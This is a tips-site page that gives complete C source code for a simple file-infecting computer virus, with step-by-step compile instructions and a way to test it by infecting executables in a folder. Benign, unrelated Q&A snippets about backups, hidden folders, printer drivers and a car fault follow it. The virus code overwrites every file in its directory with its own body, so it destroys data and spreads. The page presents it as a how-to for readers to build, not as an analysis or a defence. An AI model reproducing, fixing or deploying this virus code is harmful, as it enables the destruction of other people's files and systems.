Tip & How-To about Computers & Internet

How to Create a Computer Virus?

How to Create a Computer Virus?

Submitted by Srikanth on Friday, 7 December 200781 Comments This program is an example of how to create a virus in c.This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file.Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on.Here’s the source code of the virus program.

#include
#include
#include
#include
#include
#include
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
COMPILING METHOD:

BORLAND TC++ 3.0 (16-BIT):

1. Load the program in the compiler, press Alt-F9 to compile
2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)
3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)
4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)
5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect
BORLAND C++ 5.5 (32-BIT) :

1. Compile once,note down the generated EXE file length in bytes
2. Change the value of X in source code to this length in bytes
3. Recompile it.The new EXE file is ready to infect
HOW TO TEST:

1. Open new empty folder

2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)
3. Run the virus EXE file there you will see all the files in the current directory get infected.
4.All the infected files will be ready to reinfect
That’s it

Posted by on

Computers & Internet Logo

Related Topics:

Related Questions:

1 Answer

create a usb recovery??


To create a USB recovery:
1: Go to your Start menu
2: Click on Control Panel
3: Click on System and security
4: Locate Backup and Restore
5: Click on Backup your Computer
6: Click on set up backup
7: A screen will pop up and just select the usb you want the recovery to be on and click Next

If you have a question just post it on the comments

Nov 10, 2014 | Computers & Internet

1 Answer

How to Make Invisible Password Protected Folder Submitted by Srikanth on Thursday, 10 December 200930 Comments Do you want to password protect your folder? Do you want to make it invisible so that it remains unnoticed by the normal users? Well here is a way to do that. In this post I will show you how to make a password protected folder in Windows without using any additional software. Here is is step by step procedure to create a password protected folder. How to create a Password Protected Folder Step-1: Create a new folder (Right-click -> New -> Folder) and give it any name of your choice. For instance I name it as ABC. Step-2: Now in this folder place all the important files, documents or any folders that you want to password protect. Step-3: Now Right-click on this folder (ABC) and select the option Send To -> Compressed (zipped) Folder. Step-4: Now a new compressed zipped folder gets created next this folder (ABC) with the same name. Step-5: Double-click on this compressed zipped folder and you should see your original folder (ABC) here. Step-6: Now goto the File menu and select the option Add a password. ie: File -> Add a password Now a small window will pop up and here you can set your desired password. Once the password is set, the folder will ask for the password every time it is opened. Thus you have now created the password protected folder. How to make it Invisible Step-1: Now Right-click on this password protected folder and select Properties. Step-2: At the bottom select the option Hidden and press OK. Now your folder gets invisible (hidden). Step-3: In order to unhide this folder go to My Computer ? >Tools -> Folder options. Switch to View tab, scroll down and under Hidden files and folders you?ll see the following two options Do not show hidden files and folders Show hidden files and folders Now select the second option and press OK. Now the invisible folder becomes visible in it?s location. To access it you need the password. To make it invisible again repeat step -1 through step-3 and select the first option and click OK. Now the folder becomes invisible once again. I hope you like this post. Pass your comments!! Cheers

Mar 30, 2010 | Computers & Internet

1 Answer

need drivers for win 7 of lexmark e323


Access the manufacturer's web-site: http://support.lexmark.com
Enter 'Lexmark E323'.
Do the search.
The web-site does not have any device-drivers for Windows 7.
This means either:
* Lexmark did not create a device-driver for Windows 7;
* Lexmark did create a device-driver for Windows 7, and submitted it to Microsoft. Thus, the device-driver is _included_ with Windows 7.

Feb 03, 2011 | Lexmark E323 Laser Printer

1 Answer

I drive a 1993 ford escort LX I've had the car going on 7 yrs. now . on Friday the 31st of december 2010 I had to have the car towed to my mechanic because it wouldn't turn over what do you think could be wrong with it


the starter. had the same thing happen to mine, same year and have had mine for 7 years now too. great running little cars if you maintain them properly.

Jan 03, 2011 | 1993 Ford Escort 4 Door

1 Answer

Install of IBM infoprint printer drivers


make sure you are logged on a the Administrator to the computer then try installing..

Dec 26, 2007 | Office Equipment & Supplies

Not finding what you are looking for?

203 people viewed this tip

Ask a Question

Usually answered in minutes!

Top Computers & Internet Experts

Doctor PC
Doctor PC

Level 3 Expert

7733 Answers

kakima

Level 3 Expert

102366 Answers

David Payne
David Payne

Level 3 Expert

14161 Answers

Are you a Computer and Internet Expert? Answer questions, earn points and help others

Answer questions

Loading...